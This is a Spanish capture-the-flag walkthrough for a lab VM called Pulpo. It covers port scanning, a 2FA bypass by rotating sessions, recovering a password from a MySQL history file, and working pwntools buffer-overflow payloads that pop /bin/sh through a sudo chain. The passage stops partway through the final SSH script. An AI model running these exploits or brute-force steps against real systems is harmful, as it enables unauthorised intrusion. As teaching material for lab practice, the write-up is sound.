El Pulpo
Máquina: The Hackers Labs — Pulpo Sistema operativo objetivo: Debian 12 (Bookworm) Vector de entrada: Login web con 2FA de 4 dígitos vulnerable a rate-limit bypass por rotación de sesión (señuelo/decoy — no lleva a shell) + acceso SSH con credencial recuperada de un histórico de MySQL legible solo por root
Resumen de flags
| Flag | Valor | Usuario |
|---|---|---|
Usuario (user.txt) |
████████████ |
daflon |
Root (root.txt) |
████████████ |
root |
Nota sobre la IP: la máquina corre en red host-only de VirtualBox (
vboxnet0,192.168.56.0/24) y se detectó en192.168.56.109. Confírmala tú mismo con unnmap -snsi repites el proceso — VirtualBox puede reasignarla.
Glosario rápido (consulta mientras lees)
Términos que aparecen más adelante, definidos aquí de un vistazo. No hace falta leerlos ahora — vuelve a esta tabla cuando el texto los mencione.
| Término | Qué significa |
|---|---|
| 2FA (Two-Factor Authentication) | Segundo factor de autenticación: además de usuario/contraseña, pide un código adicional (aquí, 4 dígitos) |
| SQLi (SQL injection) | Inyectar código SQL propio a través de un campo de entrada que la aplicación no valida bien, para leer/modificar la base de datos a voluntad |
| SSTI (Server-Side Template Injection) | Igual que SQLi pero contra el motor de plantillas (ej. Twig, Jinja2) — si el input del usuario se interpreta como código de plantilla, se puede ejecutar lógica arbitraria |
| RCE (Remote Code Execution) | Ejecución de comandos del sistema operativo de forma remota, el “premio gordo” de cualquier vulnerabilidad web |
| NBD (Network Block Device) | Mecanismo del kernel Linux para exponer un archivo (aquí, un disco virtual .vmdk) como si fuera un disco físico normal (/dev/nbd0), permitiendo montarlo con mount |
| ELF (Executable and Linkable Format) | El formato de archivo binario ejecutable estándar en Linux (equivalente al .exe de Windows) |
| Buffer overflow (desbordamiento de búfer) | Cuando un programa reserva un espacio fijo de memoria (un buffer) y luego escribe en él más datos de los que caben, sin comprobarlo — los bytes sobrantes pisan la memoria adyacente, que puede incluir datos de control del programa (ver más abajo) |
| Stack (pila) | Región de memoria donde cada función guarda sus variables locales, la dirección a la que debe volver al terminar, y otros datos temporales — crece y decrece con cada llamada/retorno de función |
| EBP / ESP / EIP | Registros del procesador (arquitectura x86 de 32 bits) que apuntan, respectivamente, a la base del marco de la función actual (base pointer), la cima de la pila (stack pointer), y la siguiente instrucción a ejecutar (instruction pointer — controla el flujo del programa) |
| Dirección de retorno (return address) | El valor guardado en la pila que le dice a la CPU “cuando termines esta función, continúa ejecutando aquí”. Si un buffer overflow la sobreescribe, se puede redirigir la ejecución a donde el atacante quiera |
| Canario (stack canary) | Un valor aleatorio que el compilador coloca entre el buffer y los datos de control (dirección de retorno, etc.), comprobado justo antes de que la función termine. Si un desbordamiento lo altera, el programa aborta — pero solo se comprueba al final, no en cada escritura |
| NX (No-eXecute) | Protección que marca la pila (y otras regiones de datos) como no-ejecutable, para impedir que un atacante inyecte y ejecute su propio código (shellcode) directamente ahí |
| PIE (Position Independent Executable) | El propio código del programa se carga en una dirección de memoria distinta (aleatoria) cada vez que se ejecuta, para que un atacante no pueda usar direcciones fijas conocidas de antemano |
| RELRO (RELocation Read-Only) | Protección que marca como solo-lectura, tras el arranque, la tabla de punteros a funciones importadas (la GOT, ver abajo) — dificulta ciertos ataques que buscan sobreescribirla |
| PLT / GOT (Procedure Linkage Table / Global Offset Table) | Mecanismo interno de los binarios ELF para llamar a funciones de librerías externas (como system() de la librería C) sin conocer su dirección exacta en tiempo de compilación — se resuelve en tiempo de carga/ejecución |
gets() |
Función de C para leer una línea de texto desde la entrada estándar. Está obsoleta y prohibida en código moderno porque no recibe un límite de tamaño: escribe en el buffer todo lo que el usuario mande, sin comprobar si cabe |
sudo / sudoers |
sudo permite a un usuario ejecutar un comando como otro usuario (normalmente root), si el archivo de configuración /etc/sudoers se lo permite explícitamente. NOPASSWD significa que no hace falta introducir contraseña para ese permiso concreto |
| GTFOBins | Un catálogo público (gtfobins.github.io) de binarios Unix “legítimos” que, mal configurados con privilegios (sudo, SUID…), pueden abusarse para escapar a una shell o escalar privilegios — cada entrada documenta la técnica exacta para cada binario |
Herramientas necesarias
Todo viene ya instalado en Kali, salvo verificar que estén presentes. Qué es cada una, en una línea:
sudo apt-get install -y qemu-utils # incluye qemu-nbd: monta un .vmdk como disco del sistema
python3 -m pip install --user pwntools # librería Python para desarrollo de exploits| Herramienta | Para qué sirve aquí |
|---|---|
nmap |
Escáner de puertos y servicios de red |
curl |
Cliente HTTP de línea de comandos, para hablar con la web sin navegador |
gobuster / feroxbuster |
Descubrimiento de contenido web: prueban miles de rutas de un diccionario contra el servidor para encontrar páginas no enlazadas |
hydra |
Fuerza bruta de credenciales contra servicios de red (SSH, HTTP…) |
sshpass |
Permite pasar la contraseña SSH de forma no interactiva en un script (solo válido para laboratorios — en producción se usan claves, nunca contraseñas en texto plano) |
qemu-nbd |
Expone un archivo de disco virtual (.vmdk, .qcow2…) como un dispositivo de bloque real del sistema (/dev/nbdX), para poder montarlo con mount como si fuera un disco físico |
file |
Identifica el tipo de un archivo (aquí, para saber si un binario es de 32 o 64 bits, ejecutable o librería compartida) |
objdump / readelf |
Inspeccionan y desensamblan binarios ELF: muestran su código máquina traducido a instrucciones legibles (assembly), tablas de símbolos, relocaciones… |
gdb (GNU Debugger) |
Depurador — permite ejecutar un binario paso a paso, inspeccionar memoria/registros, y (como aquí) desensamblar con más precisión que objdump en binarios PIE |
pwntools |
Librería Python especializada en desarrollo de exploits: simplifica hablar con procesos locales o remotos (por pipe, socket o SSH), empaquetar enteros en bytes con el orden correcto, etc. |
Fase 0 — Montar la máquina virtual
unzip "The Hackers Labs - Pulpo.zip"
VBoxManage import "The Hackers Labs - Pulpo.ova" --vsys 0 --vmname "TheHackersLabs-Pulpo"
VBoxManage modifyvm "TheHackersLabs-Pulpo" --nic1 hostonly --hostonlyadapter1 vboxnet0
VBoxManage startvm "TheHackersLabs-Pulpo" --type headlessQué hace cada línea: - VBoxManage import ... --vsys 0 --vmname "...": importa el archivo .ova (una máquina virtual empaquetada) y le asigna un nombre propio dentro de VirtualBox (--vsys 0 indica “el primer, y único, sistema virtual dentro de este .ova”). - VBoxManage modifyvm ... --nic1 hostonly --hostonlyadapter1 vboxnet0: configura la primera tarjeta de red (nic1) en modo host-only — una red privada entre tu máquina anfitriona (el host) y las VMs, sin salida a Internet ni a tu red local. vboxnet0 es el nombre de esa red virtual (VirtualBox la crea automáticamente). - VBoxManage startvm ... --type headless: arranca la VM sin ventana gráfica (headless) — corre en segundo plano, se interactúa con ella solo por red (SSH/HTTP) o por línea de comandos de VirtualBox.
Localizar la IP asignada en la red host-only:
sudo nmap -sn 192.168.56.0/24-sn le dice a nmap que no escanee puertos, solo compruebe qué IPs del rango responden (un “ping sweep”). Resultado esperado:
192.168.56.109 responde, MAC 08:00:27:23:BD:EE (coincide con la NIC de la VM)
Fase 1 — Reconocimiento de red
sudo nmap -p- --min-rate 3000 -T4 192.168.56.109
sudo nmap -sCV -p22,80 192.168.56.109-p-: escanea todos los 65535 puertos TCP, no solo los 1000 más comunes por defecto.--min-rate 3000: le pide anmapque no envíe menos de 3000 paquetes por segundo — acelera el escaneo a costa de ser más “ruidoso” (irrelevante en un laboratorio propio).-T4: perfil de velocidad “agresivo” (de 0 a 5, siendo 5 el más rápido).-sCV: combina-sC(ejecuta los scripts por defecto de detección, ej. banners) y-sV(detecta la versión exacta del servicio en cada puerto).-p22,80: limita el escaneo detallado solo a los puertos ya sabidos abiertos, para que sea rápido.
Resultado:
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3
80/tcp open http Apache/2.4.62 (Debian)
Solo dos puertos. Un sudo nmap -sU --top-ports 20 -T4 192.168.56.109 (escaneo UDP de los 20 puertos UDP más comunes) tampoco aporta nada (todo open|filtered, es decir, sin respuesta real — el estado por defecto de UDP cuando no hay firewall que rechace explícitamente, no evidencia de servicios reales). La raíz web (http://192.168.56.109/) sirve la página por defecto de Apache — la aplicación real está en subrutas concretas, no en /.
Fase 2 — La app web: login + 2FA (el vector que “parece” ser el bueno)
Content discovery (“descubrimiento de contenido”): probar sistemáticamente rutas de un diccionario contra el servidor, para encontrar páginas que existen pero no están enlazadas desde ningún sitio visible.
gobuster dir -u http://192.168.56.109 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -t 40dir: modo degobusterpara fuerza bruta de directorios/archivos (existen otros modos, comodnsovhost).-u: la URL base contra la que probar.-w: el diccionario (wordlist) de nombres a probar, uno por línea.-x php: añade la extensión.phpa cada palabra del diccionario también (además de probarla sin extensión) — como la web es PHP, aumenta las posibilidades de acierto.-t 40: 40 hilos en paralelo (más velocidad).
Resultado — la app real:
login.php -> 200 ("Login Vulnerable")
dashboard.php -> 302 (requiere sesión)
config.php -> 500 (siempre, con o sin sesión, con o sin parámetros)
code.php -> 302 (paso de 2FA)
logout.php -> 302
(Los códigos HTTP: 200 = OK, la página se sirve normalmente; 302 = redirección, “ve a otra URL”; 500 = error interno del servidor.)
El login
login.php es un formulario user/pass normal, con un contador de “intentos de login” (global, no por sesión ni por usuario — dato irrelevante para el ataque, pero curioso: llega a superar los 2000 intentos acumulados de sesiones de trabajo anteriores).
curl -s -i -d "user=admin&pass=pegasus" http://192.168.56.109/login.php-s: modo silencioso (oculta la barra de progreso decurl).-i: incluye las cabeceras HTTP de la respuesta en la salida (no solo el cuerpo).-d "user=admin&pass=pegasus": envía una petición POST con esos dos campos como datos de formulario (curlcambia automáticamente a POST cuando se usa-d).
HTTP/1.1 302 Found
Location: code.php
admin:pegasus es válida (recuperada en una sesión de trabajo anterior mediante fuerza bruta contra el formulario web, que no tiene rate limit — a diferencia del 2FA). La cabecera Location: code.php es una redirección: el servidor le dice al navegador “ahora ve a code.php” — el segundo factor de autenticación.
El 2FA — y la vulnerabilidad real
code.php pide un código numérico de 4 dígitos, con un límite de 3 intentos por sesión y 10s de bloqueo tras agotarlos. La sesión se identifica con una cookie llamada PHPSESSID (el mecanismo estándar de PHP para “recordar” quién eres entre peticiones, sin tener que volver a autenticarte en cada una).
Consultando su endpoint de estado (en formato JSON, indicando con una cabecera que la petición viene de JavaScript):
curl -s -H "X-Requested-With: XMLHttpRequest" -b cookies.txt http://192.168.56.109/code.php-H "X-Requested-With: XMLHttpRequest": añade una cabecera HTTP personalizada — muchas apps la usan para distinguir peticiones “normales” de navegador de peticiones AJAX (JavaScript pidiendo datos en segundo plano), y devolver JSON en vez de HTML.-b cookies.txt: envía las cookies guardadas previamente en ese archivo (de una petición anterior con-c cookies.txt), para mantener la sesión.
{"isBlocked":false,"remainingTime":0,"attempts_in_window":0,"remaining_in_window":3,
"totalAttempts":0,"maxAttempts":3,"session_id":"...",
"hint":"Los intentos se resetean al cambiar la sesión"}El propio servidor confirma la vulnerabilidad en el campo hint: el contador de intentos vive en la sesión (PHPSESSID), no en una capa persistente (IP, usuario, base de datos). Basta con descartar la cookie y pedir una nueva sesión cada 3 intentos para tener siempre “munición” fresca — el mismo comentario HTML en el código fuente de la página (<!-- Pista sutil sobre la vulnerabilidad -->) apunta exactamente a esto. Con eso, un código de 4 dígitos (10.000 combinaciones posibles, 3 intentos por sesión antes de tener que renovarla) es trivialmente atacable rotando sesiones sin parar.
El código correcto, recuperado igualmente en la sesión de trabajo anterior: 7239.
curl -s -X POST -H "X-Requested-With: XMLHttpRequest" -F "code=7239" -b cookies.txt http://192.168.56.109/code.php-X POST: fuerza el método HTTP a POST (aquí redundante junto a-F, que ya lo implica, pero explícito).-F "code=7239": envía el dato como formulario tipomultipart/form-data(el formato que espera este endpoint en concreto, distinto del-dusado antes para el login).
{"status":"success","redirect":"dashboard.php","message":"✅ ¡Código correcto!"}Fase 3 — El dashboard: una fachada completa (sin salida)
Con sesión válida, dashboard.php (Bootstrap + Chart.js, un framework de interfaz visual y una librería de gráficas — puramente decorativos, no afectan a la seguridad) expone 4 acciones vía POST: search_client, view_products, view_invoices, update_profile. Se probó cada una a fondo, con resultado negativo en todos los frentes:
| Prueba | Qué se comprueba | Resultado |
|---|---|---|
search_client con ' OR '1'='1, " OR "1"="1, comentarios SQL (-- -) |
SQLi (ver glosario): si el input se concatena directamente en la consulta SQL sin escapar, estos payloads alteran su lógica y devuelven de más (o menos) datos de los esperados | Sin diferencia de tamaño/contenido respecto a una búsqueda normal → parametrizado, sin SQLi |
login.php con payloads de auth bypass (admin' -- -, admin' OR 1=1-- -…) |
Lo mismo pero contra el propio formulario de login, para intentar entrar sin conocer la contraseña real | Todos devuelven el mismo error genérico → sin SQLi tampoco aquí |
sqlmap autenticado sobre search_term con --string |
sqlmap es una herramienta que automatiza la detección de SQLi probando cientos de variantes; --string le indica un texto de referencia para distinguir “hubo inyección” de “no la hubo” |
Confirma: sin inyección |
update_profile con payloads SSTI de Twig ({{7*7}}, {{config}}…) |
SSTI (ver glosario): si el nombre/email se renderiza luego en una plantilla Twig sin escapar, {{7*7}} se evaluaría y aparecería como 49 en vez de como texto literal |
Reflejo siempre HTML-encodeado (<) → ni SSTI ni XSS |
Fuzzing del parámetro action (herramienta ffuf, diccionario grande) |
Enviar cientos de valores distintos de action por si existe alguna función oculta no documentada (ej. export, read_file, debug) |
Solo existen las 4 acciones ya conocidas — sin acciones ocultas |
Content discovery autenticado (feroxbuster, extensiones .bak/.sql/.zip/.old/...) |
Buscar copias de seguridad o archivos de desarrollo olvidados en el servidor | Nada — sin backups ni fuentes expuestas |
| Enumeración de usuarios vía mensaje de error del login | Probar si el mensaje de error cambia según si el usuario existe o no (fuga de información típica) | Mensaje idéntico exista o no el usuario → sin enumeración |
| Datos de clientes/productos/facturas del dashboard | Revisar manualmente todo el contenido por si hay credenciales o pistas escondidas entre los datos “de relleno” | Puramente demo (5 clientes, 7 productos, 5 facturas) → sin credenciales ni pistas |
Conclusión: la web está 100% explorada y agotada. Es un reto autocontenido de bypass de 2FA, no la puerta de entrada al sistema operativo.
Fase 4 — El error caro: fuerza bruta SSH contra el usuario equivocado
El razonamiento intuitivo (“la web me dio admin, pruebo admin por SSH”) llevó a una sesión de trabajo anterior a lanzar hydra contra admin con rockyou.txt (un diccionario de ~14 millones de contraseñas filtradas, el más usado en este tipo de pruebas) durante más de 45 minutos, a ritmos de 54 → 138 → 235 intentos/min (variando el número de hilos), sin resultado — a esa velocidad, cubrir rockyou.txt completo habría tardado días.
El problema de fondo: admin es un usuario de la aplicación PHP, no del sistema operativo. Son dos “mundos” completamente separados — uno vive en una tabla de una base de datos web, el otro en /etc/passwd del servidor Linux. No hay ninguna razón para que ambos coincidan, y de hecho no coinciden. Cualquier fuerza bruta contra admin por SSH, por rápida que sea, iba a fallar siempre. Este es el punto en el que conviene parar y verificar la premisa, no acelerar el mismo ataque con más hilos.
Fase 5 — Pivote: análisis forense offline del disco
Con la VM apagada y siendo la propietaria de la máquina (el .vmdk es un archivo local, no un target remoto ajeno), se monta el disco en solo lectura para entender el vector real en vez de seguir adivinando.
VBoxManage controlvm "TheHackersLabs-Pulpo" poweroff # apagar la VM primero(Necesario: el archivo .vmdk no se puede montar de forma segura mientras la VM lo tiene abierto/en uso.)
sudo modprobe nbd max_part=16Carga el módulo del kernel nbd (Network Block Device — ver glosario), reservando hasta 16 particiones por dispositivo virtual que se cree. Sin este paso, /dev/nbd0 ni siquiera existe.
sudo qemu-nbd --read-only -c /dev/nbd0 "The Hackers Labs - Pulpo-disk001.vmdk"qemu-nbd “conecta” (-c) el archivo .vmdk al dispositivo /dev/nbd0, en modo solo lectura (--read-only) — así es imposible modificar el disco de la VM por accidente, sea cual sea el comando que se ejecute después.
sudo fdisk -l /dev/nbd0fdisk -l (listar) muestra las particiones dentro de ese “disco”. Resultado: /dev/nbd0p1, formateada en ext4 (el sistema de archivos estándar de Linux), de 19GB.
sudo mkdir -p /mnt/pulpo
sudo mount -o ro,noload /dev/nbd0p1 /mnt/pulpomount conecta esa partición a una carpeta del sistema (/mnt/pulpo), para poder navegarla como si fuera parte del propio filesystem. Las opciones: - ro: solo lectura (read-only), doble seguro además del --read-only de qemu-nbd. - noload: el filesystem quedó marcado como “recovery required” (tenía un journal — un registro de cambios pendientes de aplicar — sin cerrar correctamente, típico si la VM se apagó de forma abrupta en algún momento). Sin noload, el kernel se niega a montar en solo lectura porque normalmente necesitaría escribir para “reproducir” ese journal; con noload simplemente lo ignora y monta tal cual está.
A partir de aquí, todo lo que hay dentro de la VM es explorable como archivos normales bajo /mnt/pulpo/.
5.1 Usuarios reales del sistema
grep -vE "nologin|false" /mnt/pulpo/etc/passwd/etc/passwd es el archivo que lista todos los usuarios del sistema, uno por línea, con el formato usuario:x:UID:GID:comentario:home:shell. grep -vE "nologin|false" (-v = invertir la búsqueda, mostrar lo que no coincide) descarta las cuentas de servicio que no pueden iniciar sesión interactiva (su “shell” es /usr/sbin/nologin o /bin/false), quedándonos solo con usuarios “humanos” reales:
root:x:0:0:root:/root:/bin/bash
jjjjj:x:1000:1000:jjjjj,,,:/home/jjjjj:/bin/bash
rubiales:x:1001:1001:rubiales,,,:/home/rubiales:/bin/bash
daflon:x:1003:1003:daflon,,,:/home/daflon:/bin/bash
Ni rastro de admin. Y curioseando en las carpetas personales:
sudo ls -la /mnt/pulpo/home/daflon/Aparece user.txt (propiedad de daflon) — confirmando de inmediato cuál es el usuario objetivo real para la primera flag.
5.2 Una credencial filtrada en el histórico de MySQL de root
sudo cat /mnt/pulpo/root/.mysql_history | sed 's/\\040/ /g'.mysql_history es un archivo que el cliente de línea de comandos de MySQL/MariaDB guarda automáticamente con cada comando SQL que se ha ejecutado alguna vez en esa cuenta (equivalente al .bash_history de una terminal, pero para sesiones de MySQL). El sed 's/\\040/ /g' reemplaza la secuencia \040 (el código octal del carácter espacio, así es como MySQL escapa los espacios dentro de este archivo) por un espacio real, para que el texto se lea con normalidad.
Entre comandos de administración de una base de datos de pruebas (second, antes thl_second_order — el nombre delata que el autor estuvo experimentando con inyección SQL de segundo orden en algún momento del desarrollo: una variante de SQLi donde el dato malicioso se guarda primero y se ejecuta más tarde, en una consulta distinta a la que lo insertó), aparece:
INSERT INTO users (username, password, ssn, email, fullname) VALUES
('luis', 'kdjkasndajsnddasd13213', '123-45-6789', '[email protected]', 'Luis Admin'),
('jjjjj', 'n031d$!d das23;lk&rop', '987-65-4321', '[email protected]', 'Usuario J');jjjjj coincide con un usuario real del sistema operativo (visto en 5.1) — contraseña reutilizada entre una tabla de una app de pruebas y la cuenta real del SO, candidata directa a probar por SSH.
5.3 La cadena de sudo — por qué se llama “Pulpo”
sudo cat /mnt/pulpo/etc/sudoers | grep -v '^#'/etc/sudoers define quién puede ejecutar qué como quién, vía sudo. La sintaxis de cada línea es usuario ALL=(usuario_destino) [NOPASSWD:] /ruta/al/comando. grep -v '^#' descarta las líneas de comentario (las que empiezan por #), dejando solo las reglas activas:
jjjjj ALL=(rubiales) NOPASSWD: /opt/pikito
rubiales ALL=(daflon) NOPASSWD: /opt/pulpazo/rubiales
daflon ALL=(root) NOPASSWD: /usr/sbin/exim4
Traducido: “el usuario jjjjj puede ejecutar /opt/pikito como si fuera el usuario rubiales, sin que se le pida contraseña (NOPASSWD)” — y así sucesivamente. Tres tentáculos, tres saltos de usuario, cada uno protegido no por una contraseña sino por un binario que hay que explotar primero para conseguir ese salto:
sudo file /mnt/pulpo/opt/pikito /mnt/pulpo/opt/pulpazo/rubialespikito: ELF 32-bit LSB executable (no PIE)
pulpazo/rubiales: ELF 32-bit LSB shared object (PIE)
Ambos con las mismas cadenas de texto reveladoras dentro del binario (visibles con strings archivo): overflow me :, /bin/sh, Nah... Clásicos retos de buffer overflow estilo “protostar” (una serie de ejercicios de explotación binaria muy conocida en el mundo del CTF).
Fase 6 — Ingeniería inversa de los dos binarios
Se copian al host para analizarlos con calma (Kali puede ejecutar binarios ELF de 32 bits sin problema, aunque el propio Kali sea de 64 bits, gracias al soporte multi-arquitectura):
sudo cp /mnt/pulpo/opt/pikito /tmp/pikito
sudo cp /mnt/pulpo/opt/pulpazo/rubiales /tmp/rubiales_bin
chmod +x /tmp/pikito /tmp/rubiales_bin6.1 checksec: qué protecciones tiene cada binario
python3 -c "from pwn import *; print(ELF('/tmp/pikito').checksec())"
python3 -c "from pwn import *; print(ELF('/tmp/rubiales_bin').checksec())"Esto carga el binario con la clase ELF de pwntools y pide su informe de seguridad — equivalente a la herramienta de línea de comandos checksec. Cada propiedad está definida en el glosario de arriba (RELRO, canario, NX, PIE); aquí el resultado concreto:
pikito |
rubiales_bin |
|
|---|---|---|
| RELRO | Partial | Partial |
| Canario (stack canary) | No | Sí |
| NX | Sí | Sí |
| PIE | No (0x8048000 fijo) |
Sí |
Esta tabla ya nos dice, antes de mirar una sola línea de código, qué técnica hará falta en cada uno: pikito no tiene canario ni PIE — el ataque “clásico” (sobreescribir la dirección de retorno con una dirección fija) debería funcionar sin complicaciones. rubiales_bin tiene ambas protecciones activas — hará falta algo más ingenioso.
6.2 Un breve repaso de cómo funciona una función en x86 (para poder leer lo que sigue)
Cuando una función func() es llamada, el procesador (arquitectura x86, 32 bits) sigue este patrón estándar (el “prólogo”):
push ebp ; guarda el EBP de quien llamó (para poder restaurarlo al salir)
mov ebp, esp ; EBP pasa a marcar el "inicio" del marco de ESTA función
sub esp, N ; reserva N bytes de espacio para variables locales (buffers, etc.)A partir de ahí, el “marco de pila” (stack frame) de la función queda así, de menor a mayor dirección de memoria (recuerda: en x86 la pila crece hacia direcciones menores, por eso las variables locales se referencian como ebp MENOS un desplazamiento):
dirección baja dirección alta
┌───────────────────────┬─────────────┬────────────────┬──────────────────┐
│ variables locales │ saved EBP │ return address │ argumentos (si │
│ (buffers, etc.) │ (ebp+0x0) │ (ebp+0x4) │ la función los │
│ ebp-N ... ebp-0x4 │ │ │ recibe: ebp+0x8,│
│ │ │ │ ebp+0xc, ...) │
└───────────────────────┴─────────────┴────────────────┘──────────────────┘
▲
esto es lo que la CPU ejecuta
después de "leave; ret"
gets(buffer) escribe la entrada del usuario empezando en buffer (una dirección ebp - N) y avanzando hacia direcciones más altas, sin ningún límite. Si el usuario manda más bytes de los que caben en N, esos bytes de más empiezan a pisar, en orden: el resto del buffer → el canario (si existe) → el saved EBP → la dirección de retorno → los argumentos de la función (si los hay). Controlar exactamente cuántos bytes de relleno hacen falta para llegar a cada zona es la base de todo lo que sigue.
6.3 pikito — sin canario, sin PIE: salto directo a system()
objdump -d -M intel --disassemble=func /tmp/pikitoobjdump -d desensambla (traduce el código máquina binario a instrucciones legibles), -M intel usa la sintaxis Intel (instrucción destino, origen — más fácil de leer que la sintaxis AT&T por defecto), --disassemble=func limita la salida a una sola función llamada func.
8048534: lea eax,[ebp-0x28]
8048537: push eax
8048538: call gets@plt ; <-- overflow: buffer de 40 bytes (0x28), sin límite
8048540: mov eax,ds:0x804a02c ; lee una variable GLOBAL (dirección fija fuera de la pila)
8048545: cmp eax,0xcafebabe ; ¿es igual a este valor mágico?
804854a: jne 804855e ; si NO es igual, salta a imprimir "Nah.."
804854c: push 0x804864f ; si SÍ es igual: prepara "/bin/sh" como argumento
8048551: call system@plt ; <-- y llama a system("/bin/sh") — esto es lo que queremos(lea eax,[ebp-0x28] = “carga en eax la dirección ebp-0x28”, es decir, el puntero al buffer; cmp/jne = comparar y saltar-si-no-es-igual; call = llamar a una función.)
La variable comparada (0x804a02c) vive en la zona de datos globales del programa (.data/.bss), una dirección fija pero fuera del alcance de un desbordamiento del buffer del stack — son regiones de memoria distintas, no contiguas. Intentar sobreescribirla desde aquí no es el camino.
Pero como no hay canario, sí podemos sobreescribir directamente la dirección de retorno de func() (repasa el diagrama de 6.2: está en ebp+0x4, justo después del buffer y del saved EBP) y hacer que, en vez de volver a donde debería, salte directamente al bloque push "/bin/sh"; call system — saltándonos la comparación por completo, sin necesitar tocar la variable global en absoluto.
Cálculo del offset (cuántos bytes de relleno hacen falta antes de llegar a la dirección de retorno):
buffer: 0x28 = 40 bytes
saved EBP: 4 bytes
──────────────────────
total: 44 bytes de relleno, y justo después va la nueva "dirección de retorno"
offset = 44
target = 0x0804854c # la dirección justo después del 'jne' (el bloque system("/bin/sh"))
payload = b'A' * offset + p32(target)p32() (de pwntools) empaqueta un número entero en 4 bytes, en el orden que espera la arquitectura (little-endian en x86: el byte menos significativo va primero) — sin esto habría que escribir los 4 bytes a mano y fácilmente equivocarse de orden.
6.4 rubiales_bin — con canario y PIE, pero el chequeo es un argumento en el stack
Como este binario es PIE (su código se carga en una dirección distinta cada vez que se ejecuta), un desensamblado estático con objdump no resuelve a qué función apunta cada call a una librería externa — el nombre real se decide en tiempo de carga. Para verlo con claridad usamos gdb (que resuelve mejor los símbolos) y cruzamos con readelf -r (que muestra la tabla de relocaciones — el mapa que dice “esta posición del código se rellenará en tiempo de carga con la dirección de tal función”):
gdb -q -batch -ex 'file /tmp/rubiales_bin' -ex 'disas func' -ex 'disas main'
readelf -r /tmp/rubiales_binCruzando ambas salidas, el flujo real de func() es:
; main():
693: mov DWORD PTR [esp],0xdeadbeef ; main() llama a func(0xdeadbeef) -- pasa este valor como argumento
69a: call func
; func(arg):
62f: sub esp,0x48
632: mov eax,gs:0x14 ; lee el valor "canario" desde un registro especial del sistema
638: mov [ebp-0xc],eax ; y lo guarda en la pila, en ebp-0xc
64f: lea eax,[ebp-0x2c]
650: call gets ; overflow: buffer de 44 bytes (0x2c), sin límite
654: cmp DWORD PTR [ebp+0x8],0xcafebabe ; <-- compara el ARGUMENTO de func (no una variable local)
65b: jne 66b ; si no coincide, "Nah.."
664: call system ; si coincide: push "/bin/sh"; system() -- confirmado vía readelf -rEl detalle que hace explotable este binario pese a canario+PIE: la variable comparada no es ni una variable local aislada ni una variable global — es el parámetro arg de func(), un valor que main() empujó a la pila antes de llamar a func. Repasando el diagrama de 6.2: los argumentos de una función viven en ebp+0x8 en adelante (justo después de ebp+0x4, la dirección de retorno) — es decir, sí está dentro del alcance de un desbordamiento del buffer local, a diferencia de la variable global de pikito.
Diagrama del desbordamiento en rubiales_bin, de menor a mayor dirección:
[ 44 bytes de buffer ] [ 4 bytes canario ] [ 4 bytes saved-EBP ] [ 4 bytes ret-addr ] [ 4 bytes arg / ebp+0x8 ]
↑ relleno, el contenido no importa ↑ objetivo: 0xCAFEBABE
La comparación (cmp [ebp+0x8], 0xcafebabe) ocurre inmediatamente después del gets() — y antes de que el epílogo de la función revise el canario (eso pasa más adelante, tras el puts/system, con el xor eax, gs:0x14; je ... que no se ve en este extracto). Es decir: system("/bin/sh") se ejecuta y nos entrega una shell antes de que el programa llegue siquiera a comprobar si el canario sigue intacto. Por tanto no hace falta conocer su valor ni preservarlo: se puede sobreescribir sin miedo, porque cualquier aviso de “canario roto” (stack smashing detected) llegaría después de haber ganado ya la shell — es decir, es inofensivo para nuestros propósitos.
Cálculo del offset hasta el argumento (ebp+0x8):
buffer: 0x2c = 44 bytes
saved EBP: 4 bytes
return address: 4 bytes
──────────────────────────
total: 52 bytes de relleno, y justo después va el valor que queremos que compare "igual"
offset = 52
target = 0xcafebabe
payload = b'A' * offset + p32(target)Nótese que este exploit no usa ninguna dirección de memoria del propio binario — solo un desplazamiento (offset) relativo a ebp y un valor mágico fijo. Por eso funciona igual sin importar dónde cargue el sistema el binario cada vez (PIE), y sin necesitar ningún truco para “adivinar” esa dirección de carga.
6.5 Verificación local antes de tocar la VM
Probar el exploit directamente contra la VM por SSH, iterando sobre errores de offset uno por uno, sería lento. Como el binario es el mismo archivo exacto en ambos sitios y ninguno de los dos ataques depende de direcciones de librerías (no hace falta “filtrar” ninguna dirección de libc ni de la base de carga de PIE), probarlo primero en el propio host (Kali) da el mismo resultado y es instantáneo:
from pwn import *
context.arch = 'i386' # arquitectura de 32 bits, para que pwntools sepa cómo empaquetar p32()
# pikito
io = process('/tmp/pikito') # lanza el binario como proceso local, con sus pipes de entrada/salida
io.sendline(b'A'*44 + p32(0x0804854c)) # envía el payload seguido de un salto de línea (simula pulsar Enter)
io.sendline(b'id')
print(io.recvall(timeout=2)) # lee toda la salida disponible, esperando hasta 2 segundos
# uid=0(root) ... -> confirmado (root aquí porque el usuario local que ejecuta el script es root)
# rubiales_bin
io = process('/tmp/rubiales_bin')
io.sendline(b'A'*52 + p32(0xcafebabe))
io.sendline(b'id; exit')
print(io.recvall(timeout=2))
# uid=0(root) ... -> confirmado, con "stack smashing detected" DESPUÉS (irrelevante, ya se ganó la shell)process() de pwntools lanza el binario como un subproceso y conecta su entrada/salida estándar a variables Python, como si fuera una conversación por teclado automatizada. Ambos payloads funcionan igual en el host que en la VM, tal como se explicó arriba.
Fase 7 — Explotación en vivo por SSH: la cadena completa
sshpass -p 'n031d$!d das23;lk&rop' ssh [email protected] 'id'sshpass -p 'contraseña' antepuesto a un comando ssh normal le permite a ssh recibir la contraseña automáticamente en vez de pedirla de forma interactiva por teclado (necesario para scripts — de nuevo, solo válido en un laboratorio propio, nunca en producción). El comando entre comillas simples al final ('id') es lo que se ejecuta remotamente nada más conectar, en vez de abrir una sesión interactiva.
uid=1000(jjjjj) gid=1000(jjjjj) grupos=1000(jjjjj),100(users)
Acceso inicial confirmado. Con el objeto ssh() de pwntools (equivalente a process() pero contra una máquina remota por SSH en vez de un proceso local) se automatiza la cadena completa dentro de una sola sesión interactiva — es decir, cada salto de usuario ocurre dentro de la misma shell heredada del anterior, sin reconectar:
from pwn import *
s = ssh(host='192.168.56.109', user='jjjjj', password='n031d$!d das23;lk&rop')
# Salto 1: jjjjj -> rubiales, vía /opt/pikito
io = s.run('sudo -u rubiales /opt/pikito')
# s.run() ejecuta un comando remoto y devuelve un canal interactivo con él, como process() pero por SSH.
# "sudo -u rubiales <programa>" ejecuta <programa> como el usuario rubiales (permitido sin contraseña, Fase 5.3).
io.recvuntil(b'overflow me')
# recvuntil() lee y descarta todo hasta encontrar ese texto exacto -- así sabemos que el programa
